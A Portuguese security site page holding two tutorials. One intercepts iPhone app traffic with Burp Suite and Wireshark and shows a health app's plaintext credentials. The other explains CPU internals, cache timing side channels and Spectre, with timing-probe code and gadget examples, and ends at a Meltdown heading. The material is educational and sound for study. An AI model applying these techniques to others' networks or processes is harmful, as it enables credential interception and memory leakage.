Jump to content
  • Articles

    Jordan Bonagura
    Este artigo objetiva demonstrar, de maneira simplificada, diferentes abordagens para interceptação e captura de dados de tráfego de rede originários de um dispositivo iPhone, da Apple. Na verdade o iPhone não é o único dispositivo sujeito a estas abordagens, assim como as estratégias aqui apresentadas não são as únicas capazes de realizar tais interceptações, então é possível usar este conteúdo para muitas outras aplicações, mas vou focar no iPhone por agora. 🙂
    A maneira mais simples de capturar o tráfego de rede de um iPhone é utilizando um servidor proxy. Na primeira parte deste artigo, adotaremos o Burp Suite para exemplificar este funcionamento. Após a coleta dos dados, analisaremos os pacotes de uma aplicação específica e a suas conexões com serviços web.
    Caso o objetivo seja uma análise mais detalhada do tráfego de uma aplicação que utilize outras tipos de comunicação que não somente requisições web, podemos diversificar a estratégia e utilizar uma interface de rede virtual (RVI), conforme demonstraremos na segunda parte deste artigo.
    Parte 1 - Utilizando um servidor proxy - Burp Suite
    Quando mencionamos a utilização de um servidor proxy, estamos basicamente nos referindo a interceptar e analisar solicitações relacionadas ao protocolo HTTP (HyperText Transfer Protocol), seja este com a camada de segurança TLS (Transport Layer Security) ou não.
    Algumas das aplicações que temos em nossos smartphones ainda utilizam somente o protocolo HTTP, o que significa dizer que os dados trafegam na forma de texto puro, ou seja, sem qualquer criptografia, fazendo com que informações sensíveis fiquem totalmente expostas a qualquer atacante que adotar técnicas de interceptação.
    Para configuração de nosso proxy o primeiro passo é abrirmos o Burp Suite. Por padrão, a interface em que ele escuta é a local (127.0.0.1) na porta 8080, conforme podemos verificar na imagem abaixo:

    Figura 1 - Interface padrão de escuta do Burp Suite
    No Burp Suite, toda captura está por padrão relacionada a máquina local, porém para executarmos nossa estratégia de interceptação dos dados que chegarão ao nosso servidor por meio do iPhone, precisaremos adicionar o IP interno da máquina local no campo Specific address:

    Figura 2 - Mudando a interface de escuta do Burp Suite
    Veja que neste caso adotamos o endereço IP 192.168.1.102 e a porta 8081.
    Uma vez o Burp Suite configurado, vamos ao iPhone:

    Figura 3 - Habilitando o uso de um servidor proxy no iPhone
    Perceba que o endereço IP associado ao iPhone não tem relação alguma com o servidor proxy, porém é óbvio que terão que estar na mesma rede para que o tráfego possa ser capturado. 😉

    Figura 4 - Configurações de proxy no iPhone
    Assim que finalizamos a configuração do iPhone para utilizar o Burp Suite como o nosso servidor proxy, já podemos ver alguns pacotes. Isso ocorre pois diversas aplicações ficam rodando em background, normalmente atualizações, updates de e-mails, entre outros.
    Abaixo temos um exemplo de pacote interceptado com o método POST do HTTP em conexão com o office365.com para atualização de e-mail. Reparem que o DeviceType já é identificado como sendo um iPhone.

    Figura 5 - Tráfego recebido pelo Burp Suite
    Para demonstração foi utilizado um aplicativo real da área da saúde, mais precisamente de uma empresa de assistência médica. Por questões éticas, ocultei os dados.
    Podemos analisar que quando abrimos o aplicativo em nosso smartphone, já são executadas chamadas à API num servidor para troca de informações e com isto já visualizamos os pacotes conforme imagem abaixo:

    Figura 6 - Chamadas à API capturadas pelo Burp Suite
    Apesar de ser uma aplicação de necessidade de alto nível de sigilo de informações, os dados são trafegados em texto puro, ou seja, sem nenhuma criptografia envolvida. 😞
    Conforme podemos verificar na imagem abaixo, não estamos ainda falando de credenciais de acesso, mas de todo modo são dados sensíveis, como por exemplo o número de beneficiário e telefone.

    Figura 7 - Dados sensíveis exibidos no Burp Suite
     
    Infelizmente, nesta aplicação não só os dados sensíveis anteriormente destacados são trafegados em texto plano, mas as credenciais de acesso (usuário e senha) também. Veja:
     
    Figura 8 - Credenciais em texto plano capturadas pelo Burp Suite
    Isso significa dizer que se um atacante estiver na conectado na mesma rede que nós, por exemplo uma rede wifi aberta (sem criptografia) de aeroporto, cafeteria e afins, e estivesse rodando um analisador de tráfego como este, poderia ter acesso à nossas credenciais como nome de usuário e senha. 😬
    Parte 2 - Utilizando uma interface de rede virtual (RVI) - Wireshark
    Uma outra abordagem que pode ser as vezes mais interessante é poder analisar todo o tráfego de rede que ocorre entre o dispositivo iPhone e os servidores das aplicações, agora não mais focado somente em aplicações e requisições web (HTTP), mas sim em diferentes protocolos, como por exemplo o bom e velho MSN para fins de aprendizagem, onde é possível analisar os pacotes MSNP trafegando pela rede, bem como conexões com outros dispositivos mais simples que utilizam o protocolo SNMP, por exemplo. Não há limites. 🙂
    Iniciamos com a conexão do nosso iPhone via USB ao computador que rodará o Wireshark para a coleta dos dados. Na sequência, realizaremos a criação da RVI (Remote Virtual Interface) onde necessitaremos passar como parâmetro o UUID (Universal Unique Identifiers) do iPhone. Vale lembrar que é possível obter o UUID com qualquer sistema operacional, já para criar a RVI executei o teste somente em macOS. Deixo para você verificar se é possível fazê-lo em outros sistemas, caso queira.
    Pelo próprio Finder do macOS é possível descobrir o UUID do aparelho, basta clicar no nome do dispositivo conectado e surgirá a informação conforme imagem abaixo:

    Figura 9 - UUID exibido no Finder
    Tendo o UUID do aparelho e estando este conectado, se faz necessário ativar a interface virtual (RVI), através do seguinte comando:

    Figura 10 - Criando uma RVI no shell do macOS
    Após recebermos a mensagem de sucesso como acima, estamos com a interface ativada e então poderemos seguir para a abertura do analisador de tráfego de rede Wireshark e selecionar a interface rvi0.

    Figura 11 - Escolha da interface para captura no Wireshark (no macOS)
    Nesta abordagem, e até para fins de comparação com a anterior, adotamos o mesmo aplicativo da área da saúde e aplicamos um filtro básico ip.src == 192.168.1.23 para facilitar a visualização somente de pacotes que têm o IP de origem do iPhone.
    É possível visualizarmos protocolos de diferentes camadas do modelo OSI. Neste exemplo, temos protocolos da camada de transporte (TCP) como também da camada de aplicação (HTTP) como pode ser visto na imagem abaixo:

    Figura 12 - Pacotes capturados pelo Wireshark
    Analisando somente os pacotes HTTP, é possível analisar as mesmas informações que visualizamos anteriormente no Burp Suite.
    Portanto, se abrirmos o conteúdo de nosso pacote selecionado, teremos também todas as informações de credenciais anteriormente demonstradas, conforme imagem abaixo:
     
    Figura 13 - Credenciais em texto plano capturadas pelo Wireshark
    Conclusão
    Pudemos verificar que existem diferentes abordagens em relação a captura de tráfego de dados de um iPhone. Na primeira parte, demonstramos a técnica com a adoção de um servidor proxy (Burp Suite), onde foi possível analisar os pacotes relacionados a requisições web. Esta técnica é de mais fácil implementação, porém muitas vezes limitada, pois como discutimos anteriormente trabalha basicamente com protocolos HTTP/HTTPS.
    Já na segunda parte, demonstramos uma análise de maior amplitude onde foi possível verificar que protocolos de diferentes camadas também podem ser analisados, portanto, a depender do objetivo almejado e/ou da forma de comunicação da aplicação, esta abordagem pode ser mais adequada.
    Vale lembrar que ambas as técnicas são complementares, portanto, dependendo do objetivo final de análise da aplicação, ambas podem ser combinadas.
    O caminho das pedras para a configuração do ambiente de captura está aí, agora é contigo em seguir para a análise aprofundada de suas aplicações. 🤗
    Stay Safe!

    esoj
    Neste artigo vamos abordar os principais tópicos referentes a microprocessadores modernos como hierarquia de memória, pipelines, execução fora de ordem e analisar como essas features contribuiram para o surgimento de vulnerabilidades especulativas como o Spectre e o Meltdown.
    Como CPUs funcionam?
    As CPUs contêm um grupo de comandos bem definidos que permitem realizar operações lógicas e aritiméticas, ler e escrever na memória, fazer comparações, e controlar o fluxo de execução do próprio programa. O programador tem acesso a parte dessa interface da CPU através de instruções de máquina, que permitem ao programador solicitar diretamente à CPU para que esses comandos sejam realizados. Um exemplo de sequência de instruções é:
    1.mov ax,8 2.mov bx,10 3.add ax,bx Registradores são as unidades de armazenamento mais rápidas em termos de tempo de acesso, pois estão presentes dentro da CPU e estão fisicamente próximas das unidades de execução, que serão responsáveis por realizar as operações matemáticas na Unidade Lógica aritimética (ULA). 
    No exemplo acima foram utilizados dois registradores, o ax e o bx para realizar uma soma. Para o programador é importante que essas instruções sejam executadas na ordem correta, pois caso as instruções 2 e 3 troquem de posição isso poderia resultar em um comportamento inesperado do programa.
    Todavia, o ciclo completo de execução de uma única instrução possui várias etapas demoradas. Entre elas pode-se citar:
    - A leitura da própria instrução;
    - A decodificação da instrução pela CPU, realizando o chaveamento e a decisão de qual caminho o dado manipulado deve tomar;
    - A resolução dos acessos a memória, se houverem;
    - A execução da operação aritimética ou lógica, se houver;
    - A escrita do resultado na memória, se houver.
    Hierarquia de memória
    Para compreender por que certas operações demoram mais que as outras é preciso abordar o conceito de hierarquia de memória.
    Devido a questões de tecnologia empregada, proximidade física e densidade de armazenamento, os computadores utilizam uma combinação de dispositivos de armazenamento. Em geral componentes mais rápidos como registradores e caches localizam-se próximos a CPU, pois são constantemente utilizados. Esses componentes priorizam velocidade acima de densidade de bits ou custo e pelo fato de estarem próximos ao local de uso estão restritos a uma quantidade pequena. No outro extremo estão componentes lentos, mas com alta capacidade como SSDs e HDDs, que acabam priorizando armazenamento total e custo ao invés de velocidade.
    | Tecnologia empregada      | Tempo tipico de acesso      | $ por GB em 2012 | | --------                  | --------                    | -------- | | SRAM         | 0.5-2.5 ns                 | $500-$1000     | | DRAM         | 50-70 ns                    | $10-$20     | | FLASH         | 5000 5000                   | $0.75-$1.00     | | Disco Magnético         | 5000000 - 20000000 ns       | $0.05-$0.10     | Adaptado de Computer Organization and Design RISC-V Edition: The Hardware Software Interface Localidade Temporal e espacial
    A hierarquia de memória se baseia no princípio de que o acesso aos dados não é puramente aleatório. Devido à estrutura das operações mais comuns em programas como loops, acessos sequenciais a listas, e até mesmo o acesso das próprias instruções que tendem a seguir um fluxo sequencial, tem-se os conceitos de localidade temporal e espacial. 
    A localidade temporal é quando um dado recentemente acessado tem alta probabilidade de ser acessado novamente, como em índices de loops e contadores.
    A localidade espacial diz respeito ao acesso de posições de memória próximas. Por exemplo, quando o elemento 2 de uma lista é acessado, provavelmente o elemento 3 também será.
    Quando esses dados são trazidos para níveis superiores da hierarquia de memória, a próxima vez que esses itens precisarem ser acessados, os níveis inferiores não precisarão ser consultados, permitindo um acesso mais rápido ao dado.
    Hit rate, Miss rate
    Sabendo as taxas de acerto dos componentes da hierarquia pode-se calcular o tempo de acesso médio a memória e observar o impacto que determinados componentes possuem. Tomando como exemplo (não muito realista) a seguinte estrutura:
    | Componente    |Tempo de acesso | Taxa de Acerto |     | -------- | -------- | ----- | | Cache         | 2 ns | 90% | | DRAM         | 70ns |90% | | FLASH |5000ns |100% | Acontece que:
    Em 90% dos acessos o dado estará na cache e tempo de resposta será 2ns; Em 90% das 10% (9%) das ocorrências em que o dado não estava na cache, ele estará na DRAM e o tempo de resposta será 2ns (busca na cache) + 70ns (busca na DRAM); Nos 1% de acessos que não foram satisfeitos pelos componentes superiores o tempo de acesso será 5000ns +70ns+2ns. Portanto, o tempo médio de acesso será:
    0.9 * 2ns + 0.09 * 72ns + 0.01 * 572ns = 14ns Ao remover a cache o tempo médio subiria para:
    0.99 * 70ns + 0.01 * 570ns = 75ns Pipeline
    Conforme visto no programa abaixo, diversas etapas são necessarias para a execução completa de uma instrução. Todavia, durante esse processo o dado é utilizado apenas em um componente por vez, deixando os demais elementos da CPU ociosos, por exemplo durante o cálculo de uma soma na ULA não existem leituras de instruções feitas pela memória. Uma forma de melhorar o Throughtput de instruções seria permitir que os componentes ociosos trabalhem em forma de uma cadeia de produção, assim como ocorrem em uma linha de montagem, permitindo então reduzir o período de clock total pois cada etapa do processo pode ser feita em menos tempo.
    |Operação | 1 | 2 | 3 | 4 | 5 | 6 | 7 | |------------------------------------------------| |Leitura de instrução| A | B | C | | | | | |Decodificacao | | A | B | C | | | | |Execução | | | A | B | C | | | |Memória | | | | A | B | C | | |Escrita | | | | | A | B | |  
    Diagrama da execução das instruções A B e C ao longo dos ciclos 1-7 no estágio 3 por exemplo as unidades de Leitura, decodificação e execução estão ativas simultaneamente
    Todavia ao contrário de uma linha de produção em uma fábrica, instruções não são completamente independentes umas das outras. Considere a seguinte sequência:
    A. add ax,[bx] B. jz $+1 C. nop  Neste caso, a finalização da instrução A ocorrerá no melhor dos casos, apenas no ciclo 5, podendo levar ainda mais tempo dependendo de qual posição na hierarquia de memória o dado apontado por bx está. Todavia o pipeline necessita escolher se faz a leitura da instrução C ou a próxima ($+1) logo no ciclo 3. Quando isso ocorre, a CPU pode decidir esperar o resultado da operação o que acarretaria em perda de performance ou realizar uma predição sobre o pulo.
    Predição
    O exemplo acima trata de um desvio condicional. Ou seja, existem apenas dois caminhos possíveis que a CPU pode executar, tomar ou não tomar o pulo. Para auxiliar a decisão existem componentes internos na CPU chamados preditores de desvio, que coletam informações sobre os pulos recentes tomados para auxiliar na decisão. O exemplo mais simples é do contador de saturação ilustrado abaixo. Quando o desvio é tomado diversas vezes o preditor se adapta e passa a aceitar os próximos pulos tomados.
     

    Preditor condicional de 2 bits. Extraido de https://en.wikipedia.org/wiki/Branch_predictor
     
    if (*canRun){     f1(); } else{     f2(); } Exemplo de código que pode gerar comportamento especulativo caso a variável apontada por canRun não esteja na cache por exemplo
    Quando é necessário predizer o próximo endereço, é realizada uma execução especulativa ou seja, o processador não tem certeza se o caminho de execução está correto, então todos os resultados feitos a partir da predição são armazenados em registradores de rascunho. Quando a condicional que gerou a execução especulativa for resolvida (canRun foi lida da memória por exemplo), caso o caminho tomado esteja correto os resultados são gravados nos registradores verdadeiros, levando a um ganho de desempenho. Se o caminho tomado estiver incorreto os resultados presentes nos registradores de rascunho são descartados e é necessário executar o caminho correto dessa vez, levando a um desempenho semelhante ao obtido se o processador tivesse esperado a avaliação ter sido concluida.
    Processador superescalar e execução fora de ordem
    As CPUs modernas possuem mais do que uma única unidade de execução por núcleo, permitindo em algumas situações realizar mais do que uma instrução por ciclo de clock. Para que o uso de mais de um unidade de execução simultânea seja funcional ele deve ser capaz de alocar as instruções sem que haja uma alteração no resultado da operação a ser computada visando paralelizar as operações a serem realizadas. As instruções podem ser re-ordenadas e executadas fora de ordem desde que a dependência entre elas seja obedecida.
    Para que as instruções possam ser reordenadas elas devem respeitar os três riscos ao pipeline
    Read After Write
    mov rax,2 mov rbx,rax Não podem ser trocadas de ordem pois o resultado da segunda instrução seria alterado Write After Read
    mov rbx,rax mov rax,2 Não podem ser trocadas de ordem pois o resultado da primeira instrução seria alterado Write After Write
    mov rbx,rax mov rax,rbx Não podem ser trocadas de ordem pois o resultado de ambas instrução seriam alterados Desde que respeitadas essas dependências a CPU pode reordenar instruções para executar várias operações em paralelo. Abaixo esta representada a unidade de execução de uma CPU moderna.

    Unidades de execução presentes em um único núcleo de uma CPU modernas intel. Extraído de https://mdsattacks.com/
    Uma forma simples de demonstrar o paralelismo a nivel de instrução é com o código a seguir. No primeiro bloco existem 200 instruções inc esi . Devido a dependência Write after Write elas não poderão ser trocadas de ordem ou executadas em paralelo.
    No segundo bloco existem 100 instruções inc esi e 100 instruções inc edi. Embora haja dependência entre o valor atual do registrador esi e o anterior, o par de instruções pode ser executado em paralelo, pois não há dependência entre eles. 
    Dessa forma, é esperado um desempenho próximo de 200 ciclos para o primeiro bloco e próximo de 100 ciclos para o segundo bloco. Foram utilizadas as instruções rdtsc para realizar a medição do "tempo" de execução e lfence para serializar a instrução rdtsc, garantindo que ela não será reordenada.
    O resultado do programa (executado em um i5-7500) mostra 264 ciclos para o primeiro bloco e 146 para o segundo. Considerando o overhead esperado pela execução do rdstd; lfence os resultados indicam um throughput mínimo de 0.75 instruções por ciclo para o primeiro bloco e 1.36 para o segundo bloco, evidenciando o comportamento superescalar da CPU.
    //gcc  -masm=intel -o ilp ilp.c #include <stdio.h> int main(){     int time1;     int time2;     asm __volatile__(             "lfence            ;"             "rdtsc            ;"             "lfence            ;"             "mov ecx,eax    ;"                          ".rept 200        ;"             "inc esi        ;"             ".endr            ;"             "lfence            ;"             "rdtsc            ;"             "sub eax,ecx    ;"             "mov %0,eax        ;"             :"=r"(time1)             );     asm __volatile__(             "lfence            ;"             "rdtsc            ;"             "lfence            ;"             "mov ecx,eax    ;"                          ".rept 100        ;"             "inc edi        ;"             "inc esi        ;"             ".endr            ;"             "lfence            ;"             "rdtsc            ;"             "sub eax,ecx    ;"             "mov %0,eax        ;"             :"=r"(time2)             );     printf("Ciclos gastos no bloco 1: %i\n",time1);     printf("Ciclos gastos na bloco 2: %i\n",time2);      } $ ./ilp Ciclos gastos no bloco 1: 264 Ciclos gastos na bloco 2: 146  
    Operação da Cache
    A Cache de um processador funciona como uma pequena e rápida memória dentro do chip da CPU que salva o conteúdo dos últimos e próximos endereços a serem acessados. Quando uma CPU solicita um byte para a memória devido ao barramento ser de 64 bits e as memórias serem otimizadas para operação em modo burst bem mais dados do que o que foi solicitados chegam a CPU, assim a cache guarda os dados recebidos para quando eles forem solicitados novamente não seja necessário requisitar a memória novamente e a resposta seja muito mais rápida. 
    A cache armazena os dados em forma de linhas, onde cada linha contém múltiplos bytes (64 bytes atualmente).
    Quando o endereço solicitado chega a cache, ele é dividido da seguinte forma:
    | Tag | Set | Offset| | --- | --- | --- | Offset é a posição do byte na linha da cache, Set é o endereço da linha na Cache e a Tag é o restante. A tag é guardada para poder diferenciar endereços com mesmo set e offset. Em uma CPU com 256 linhas e 64 bytes cada linha o tamanho de cada parte seria:
    |Offset | bits 0-5 | |Set    | bits 6-13 | |Tag    | bits 14-63 | Paginação e Translation Lookasidebuffer
    Processadores modernos necessitam executar múltiplos programas simultaneamente, para isso um dos problemas a ser resolvido é o gerenciamento de memória.Um processo A não deve ser capaz de ler ou escrever na memória de um processo B, se isso fosse possível um programa mal escrito provavelmente causaria um crash acidental nos demais programas ao escrever no endereço errado, ou então um malware seria capaz de ler memória de outros usuários da mesma máquina. Além disso, programas que foram compilados para utilizarem endereços virtuais idênticos devem ser capazes de executar ao mesmo. O compilador não é capaz de conhecer previamente quais endereços estarão sendo utilizados durante a execução do programa.Para isso, o sistema operacional é responsável em realizar a tradução de endereços virtuais(escolhidos pelo compilador) para endereços físicos(utilizados pelo chip de ram).
    #include <stdio.h> int main(){     printf("ola mundo!\n"); } $objdump -s test Contents of section .rodata:  402000 01000200 6f6c6120 6d756e64 6f2100    ....ola mundo!. Endereço virtual 0x402000 utilizado para a string "ola mundo!"
     
    Os sistemas operacionais atuais isolam a memória de processos através de paginação. Toda vez que um programa acessa a memória o endereço é traduzido de endereço virtual para físico através da consulta da tabela de páginação no sistema operacional. Essa tradução é feita através da tabela de paginação, uma região de memória em que o kernel pode escrever os valores do endereço físico de cada página a ser traduzida. Por questões de economia de espaço, ela é dividida em níveis. Caso essa divisão não exsitisse, para páginas de 4kb de tamanho e 48-bits de espaço de endereçamento e 8 bytes de entrada seriam necessários 2^36 indices, portanto 2^36 * 8 = 512GB para um único processo. Quando a tabela de paginação é divida em dirietórios, se o diretório superior possui 10 entradas, apenas as entradas utilizadas provocarão uma alocação dos diretórios inferiores, reduzindo o total de espaço alocado para a tabela de paginação.
    É importante ressaltar que junto ao endereço físico armazenado em cada entrada, estão presentes também as permissões da cada página como leitura, escrita e execução. Caso uma instrução viole a permissão de leitura ou escrita por exemplo a CPU gera uma exceção de Segmentation Fault que pode fazer com que a execução do programa seja suspensa.

    Esquema de páginação de 4 níveis utilizado no linux. Adaptado de https://jasoncc.github.io/kernel/jasonc-mm-x86.html
    Para aumentar o desempenho essa tabela é cacheada através do Translation lookaside buffer, que guarda os mapeamentos recentes entre endereço virtual e físico, evitando assim com que a memória seja consultada toda vez que um endereço seja acessado.
    Quando uma troca de contexto ocorre como o chaveamento entre dois processos, o registrador CR3 que aponta para a base da tabela é trocado e a TLB deve receber um flush para invalidar suas entradas.
    ---
    Observação
    Devido ao desuso da segmentação, o endereço virtual usualmente será o mesmo que o endereço linear que seria obtido após a segmentação e utilizado como entrada para o mecanismo de paginação.
    ---
    Observando o estado da micro arquitetura - Cache Side Channels Attacks
    Um ataque de side channel é um ataque que ao invés de buscar uma falha no algoritmo, exfiltra ou obtem informação sensível de um sistema baseado em algum efeito colateral durante a sua execução.
    Alguns exemplos de side channel
    Frequencia de rádio Air-Fi permite um atacante exfiltrar dados de um computador comprometido mas sem acesso a internet, utilizando o barramento de memória como placa de rede sem fio. TempestSDR permite um atacante recuperar a imagem transmitida para um monitor através das ondas eletromagnéticas transmitidas pelo cabo HDMI. Consumo de energia Ataques de análise de consumo de energia podem ser capazes de identificar quais etapas do algoritmo de encriptação estão sendo executadas e assim extrair a chave utilizada. (rhme2 CTF https://github.com/Riscure/Rhme-2016) Tempo Checagens de senhas com tempo variável podem permitir descobrir quantos caracteres em uma senha estão corretos e assim realizar um ataque de força bruta com muito mais facilidade Cache Permite observar efeitos colaterais da execução de outros programas, bem como observar os efeitos de operações internas de CPU que deveriam ser invisíveis ao programador, como execução especulativa por exemplo. Para compreender melhor os ataques a seguir vamos escolher um tipo de side channel de cache que será utilizado como método de exfiltração dos segredos obtidos pelos ataques a seguir.
    Copy on write e ataques de side channel
    Porém, nem sempre é desejavel que os processos isolem completamente sua memória. Seções de memória comuns a diversos processos como bibliotecas podem ser compartilhadas através do mecanismo de Copy on Write. Nele, quando uma página é carregada através da syscall de mmap com um arquivo como parâmetro se aquele arquivo já estiver mapeado em memória não é criada uma nova página. Caso o processo deseje alterá-lo, uma cópia privada da página é criada e passa a ser exclusiva para aquele processo, por isso o nome Copy on Write. Embora não haja nenhum problema de segurança inerente desse mecanismo pois para que haja compartilhamento as seções devem ser idênticas, o mero compartilhamento da memória física pode gerar interferências entre processos, como será visto ao analisar o tempo de resposta da memória para essas regiões.

    Diagrama de dois processos compartilhando a região de bibliotecas. Quando o endereço virtual referente a biblioteca é traduzido, ele aponta para uma única região da memória RAM
    Exemplo de programa vulnerável a side channel
    void main(){     //emojiList é compartilhada por COW pois está em uma biblioteca     char *flag="segredo";     char t;     while (1){         for (int i=0;flag[i]!='\0';i++){           t = emojiList[flag[i] * 160];         }     } } No exemplo acima, o conteúdo da variável flag, a principio não conhecida pelo atacante é utilizado como índice para acessar o array `emojiList`. Quando um acesso ocorre, o emoji passa estar presente na cache, de tal forma que o próximo acesso vai ter um tempo de resposta inferior. Sabendo disso um atacante poderia constantemente medir o tempo de resposta de cada valor possível do emojiList e quando detectar um tempo de resposta rápido, inferir qual caracter foi utilizado como índice.
    Para essa manipulação de cache, são utilizados duas instruções 
    RDTSC - Read Time Stamp Counter, que lê um registrador que conta quantos ciclos se passaram desde o boot da máquina. É utilizada como um relógio muito preciso para a medição de tempo CLFLUSH - Permite invalidar uma linha da cache dado um endereço. É utilizada para impedir que a própria medição do tempo de acesso leve a um falso positivo na proxima medição LFENCE - Realiza uma operação de serialização em todos os pedidos de leitura da memória anteriores a instrução LFENCE. Instruções subsequentes a LFENCE podem ser lidas mas elas não serão executadas especulativamente até a finalização da LFENCE. MFENCE - Funciona de forma semelhante a LFENCE mas funciona também para pedidos de escrita. Um exemplo de medição seria
    unsigned long probe_timing(char *adrs) {     volatile unsigned long time;     asm volatile(         "    mfence             \n"         "    lfence             \n"         "    rdtsc              \n"         "    lfence             \n"         "    movl %%eax, %%esi  \n"         "    movl (%1), %%eax   \n"         "    lfence             \n"         "    rdtsc              \n"         "    subl %%esi, %%eax  \n"         "    clflush 0(%1)      \n"         : "=a" (time)         : "c" (adrs)         : "%esi", "%edx"     );     return time; }
    Para que um sistema seja vulnerável a esse tipo de ataque é necessário que haja uma clara distinção entre o tempo de resposta de um dado presente apenas na memória e um dado em cache. Para isso é possível testar:
     
    char globalVar[4096]={1,4,7,8,5,9,1}; int main(){   unsigned long t1,t2;   unsigned long count=0;   double total_access,total_evict;   total_access=0;   total_evict=0;   for(unsigned i=0;i<100;i++){     if (i%2==0){       maccess((void *)&globalVar[44]);     }     t1=probe_timing((void *)&globalVar[44]);     count++;     if (i%2==0){       printf("time w acess: %lu\n",t1);       total_access+=(double)t1;     }     else{       printf("time no acess: %lu\n",t1);       total_evict+=(double)t1;     }      }   printf("avg cached=%lf\n",total_access/50);   printf("avg evicted=%lf\n",total_evict/50);   return 0; ... time w acess: 68 time no acess: 304 time w acess: 66 time no acess: 308 avg cached=68.400000 avg evicted=347.200000 # head /proc/cpuinfo  processor    : 0 vendor_id    : GenuineIntel cpu family    : 6 model        : 158 model name    : Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz stepping    : 9 cpu MHz        : 3408.006 cache size    : 6144 KB
    Botando o tempo de resposta de cada acesso no gráfico, pode-se perceber a diferença do tempo de acesso entre dados presentes na cache e na memória principal e se estabelecer um limite para decidir se o dado esta na cache.

    Diferença do tempo de resposta da memória para dados em cache



    O ataque originalmente foi criado para vazar chaves criptográficas entre usuários usando a biblioteca GnuPG. Posterioremente o exploit foi adotado em outros ataques de micro arquitetura como canal para vazar segredos obtidos de forma especulativa.
    Spectre
    O spectre se baseia no envenenamento de preditores para realizar a execução de código que não deveria ser executado. Dessa forma um atacante consegue enganar a CPU a burlar checagens de limite ou até obter execução de código (espculativa) no processo da vitima. Isso traz implicações sérias de segurança para o isolamento entre processos e sandboxes como navegadores. 
    Variant 1 - Exploiting Conditional Branch Missprediction  
    if (x < array1_size)     y = array2[array1[x] * 4096];
    O código acima mostra um exemplo de programa vulnerável ao spectre em que o atacante possui controle da variável x.Na primeira linha existe uma checagem do limite do valor x para impedir que o conteúdo do array1 seja acessado fora desse limite o que poderia gerar uma exceção ou um acesso a um dado sensível no espaço de endereço do processo da vítima. A segunda linha consistem em um alvo para um side channel attack. O conteúdo do array1 é utilizado como indice para o array2. É possível mensurar quais elementos do array2 estão em cache através de ataques como flush+reload caso array2 seja compartilhado via COW ou através de outros side channels mais complexos como prime+probe que não necessitam de memória compartilhada. 
    Utilizando apenas o side channel é possível obter o conteúdo do array1, porém o exploit do spectre amplia o escopo do ataque permitindo vazar endereços fora do limite do array.
    Manipulação de preditor
    A primeira linha realiza uma checagem que está passível a ser especulada. Caso o valor de array1_size demore para ser lido, o processador criará um ponto de especulação e tera de decidir se o desvio será tomado. Um atacante com o controle do x pode manipular o preditor para treinar a CPU a sempre executar o bloco dentro da condicional. Supondo um valor de array1_size=10 por exemplo uma sequencia de entradas como: 0,0,0,0,0,0,0,0,20 faria o preditor saturar na posição de desvio não tomado fazendo com que ao tratar a entrada x=20; y = array2[array1[20] * 4096];  seja executado de forma especulativa e o segredo presente na posição 20 seja vazado, o que pode ser outra variável. 
    Exploits dessa categoria são perigosos para navegadores pois podem ser implementados de forma semelhante em javascript. Um código em javascript que seja capaz de ler a memória do próprio processo pode extrair cookies e dados sensíveis de outros domínios.

    Antes da checagem de limite ser realizada, o preditor de desvio continua a execução no caminho mais provável, levando a uma melhora do desempenho quando correto. Todavia se a checagem do limite for indevidamente predita como verdadeira pode levar um atacante a vazar informação em algumas sitauções. Extraido de: Spectre Attacks: Exploiting Speculative Execution
    É importante notar também que cada núcleo da CPU possui o próprio preditor de desvio, portanto para que esse ataque seja bem sucedido quando executado em processos diferentes eles sejam escalonados para executarem no mesmo núcleo, seja através do escalonador do sistema operacional ou através de mecanismos Simultaneous MultiThreading (SMT).

    V2 Poisoning Indirect Branches
    Conforme já foi abordado, preditores condicionais tem apenas duas opções para escolher sobre o pulo, tomar ou não tomar. Porém existem instruções que permitem pulos para endereços armazenados em variáveis por exemplo que possuem um comportamento um pouco mais complicado de predizer.
    call rbx              ;branch direto jump rcx              ;branch direto call [rax]            ;branch indireto São todas instruções que necessitam do preditor indireto. Esses tipos de instruções são geradas quando o programa precisa dinamicamente descobrir o que executar. funções que recebem ponteiros para outras funções ou até mesmo Virtual tables podem gerar esse comportamento. Para realizar essa predição a CPU possui um Branch Target Buffer (BTB) que armazena os endereços de origem e destino dos desvios indiretos mais recentes.

    Diagrama do preditor de desvio Incondicional - Extraído de Exploiting Speculative Execution
    Para efetuar o ataque o programa do atacante deve treinar o BTB para que quando a vitima execute o desvio indireto o atacante tenha controle do endereço de destino. A técnica utilizada é muito semelhante a Return Oriented Programing (ROP), pois constrói o código de ataque utilizando pedaços do código da vítima, porém não há nenhuma corrupção de memória envolvida.O único meio de obter informação é através do estado da cache.

    Layout de um ataque de Spectre V2
    Para performar o ataque o atacante deve alinhar em seu processo o endereço do pulo ou chamada e treinar o preditor para outro endereço. Como entrada para o preditor são utilizados os endereços virtuais do programa, portanto além de ser necessário identificar a existência de um spectre gadget é necessário também saber o seu endereço.
    Exemplo de gadget encontrado na função Sleep em ntdll.dll no Windows
    adc edi,dword ptr [ebx+edx+13BE13BDh] adc dl,byte ptr [edi] Quando os registradores ebx e edi são controlados pelo atacante através de entradas para o programa, o atacante é capaz de fornecer um endereço alvo, tal que ebx = alvo - edx -13BE13BDh e manipular edi para ser a base do array de medição. A primeira instrução executa uma leitura no endereço desejado e a segunda instrução utiliza o segredo lido como endereço para acessar o array. Posteriormente o atacante deve executar um dos ataques de side channel para descobrir qual endereço foi acessado de forma especulativa, vazando assim o dado condido no endereço apontado por alvo. 
    Mitigações
    Devido ao spectre se basear em padrões específicos de outros programas, a mitigação não é trivial e é usualmente feita de forma individual.
    Prevenção de especulação
    É possível utilizar instruções de serialização ou de bloqueio de especulação como LFENCE antes de trechos de código vulneráveis como branches condicionais ou indiretos. 
    Prevenção do envenenamento de branches
    Alguns mecanismos são capazes de previnir a especulação entre diferentes domínios:
    Indirect Branch Restricted Speculation (IBRS) impede com que branches de código menos privilegiado afetem branches de código de maior privilégio; Single Thread Indirect Branch Prediction (STIBP) evita que códigos executados no mesmo núcleo e em threads diferentes (exemplo hyperthreading) compartilhem as mesmas predições; Indirect Branch Predictor Barrier (IBPB) permite colocar barreiras que impedem com que o estado do BTB afetem a próxima execução (através de flush do BTB por exemplo); Retpotline substitui as chamadas indiretas por instruções de retorno, e forçam com que o endereço seja especulado para um endereço seguro. Meltdown
